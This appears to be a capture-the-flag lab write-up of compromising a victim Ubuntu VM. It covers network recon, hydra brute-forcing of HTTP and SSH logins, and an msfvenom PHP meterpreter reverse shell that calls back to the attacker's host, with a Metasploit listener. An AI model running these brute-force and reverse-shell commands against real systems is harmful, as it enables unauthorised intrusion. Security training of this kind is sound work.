Summary

Following are the major steps we took for this project

1- Recon

1-1 ifconfig

1-2 netdiscover

1-3 Nmap and db\_nmap

1-4 dirbuster

2- Exploit

1-1 cracking the password protected directory

1-2 creating the php reverse shell payload

1-3 uploading the payload into victim machine

1-4 Monitoring for the reverse shell session on the attacher machine

3- PostExploit

3-1 searching to capture the flag

3-2 searching for more vulnerabilities

3-3 potential for pivoting

==========================

**1- Recon**

**1-1 ifconfig**

Results shows that the attacker computer (Kali Machine) has the following network information

Ip: 172.16.84.55

Subnet 255.255.255.0

**1-2 network discovering**

Running the netdiscover command in Kali’s command prompt revealed the following ip address 172.16.84.205 which, based on the evidence, corresponds to the victim’s machine(ubuntu)

**1-3 using Nmap**

To do so, we excepted db\_nmap inside the msfconsole environment.

dn\_namp -A -T 4 172.16.84.205 -ox nmap1.txt

dn\_namp -sS 172.16.84.205 -ox nmap2.txt

dn\_namp -sV 172.16.84.205 -ox nmap3.txt

1-4 spidering and Crawling

We have used Dirbuster and Burp suite in this stage

We have also manually reached for any possible hidden directory. At the end we found a directory at this path 172.16.84.205/company\_folders/secret\_folder which was password protected.

**2- Exploit**

Putting the this into a browser gave us the clue that the user name might be the **“ashton”.** Therefore we decided to use a brute force attack using hydra.

Running **hydra -l ashton -P /usr/share/wordlists/metasploit/password.lst 172.16.85.205 -v -f http-get /company\_folders/secret\_folder**  gave us the password which is “**leopoldo**”

Using this username and password we attempted to get into the folder using the FireFox browser. On this page we saw instruction about how to use webdav to upload files into this machine remotely. Also mentioned that we we need to use username “ryan” and provided us a hash for the this account.

Attempting to crack the has using several methods such using hash cat , findmyhash and John the Ripper were not successful. Therefore we decided to perform another brute force attack using **hydra -l ryan -P /usr/share/wordlists/rockyou.txt 172.16.84.205 ssh -t 4** to crack this account. The gained password was “**linux4u**”

Next step was to create the reverse shell payload using **msfvenom -p php/meterpreter/reverse\_tcp LHOST=172.16.84.55 LPORT=4444 -f raw -o shell.php**

We uploaded the file to the path mentioned in the browser (secret\_folder) and then opening the msfconsole to do the follwoing gave us the ability to run the exploit

Use exploit/multi/handler

Set options (LHOST = 172.16.84.55 LPORT= 4444)

Set payloads (~/shell.php)

**3- Post-Exploit**

3-1 Oppening the shell.php using the browser at the path 172.16.84.205/company\_folders/secret\_folder gave us the reverse shell access.

Simple running “**cd /**“ to get to the root folder displayed a flag.txt file on screen.

We found the flag by opening the file using “cat flag.txt” and the results is shown in the picture bellow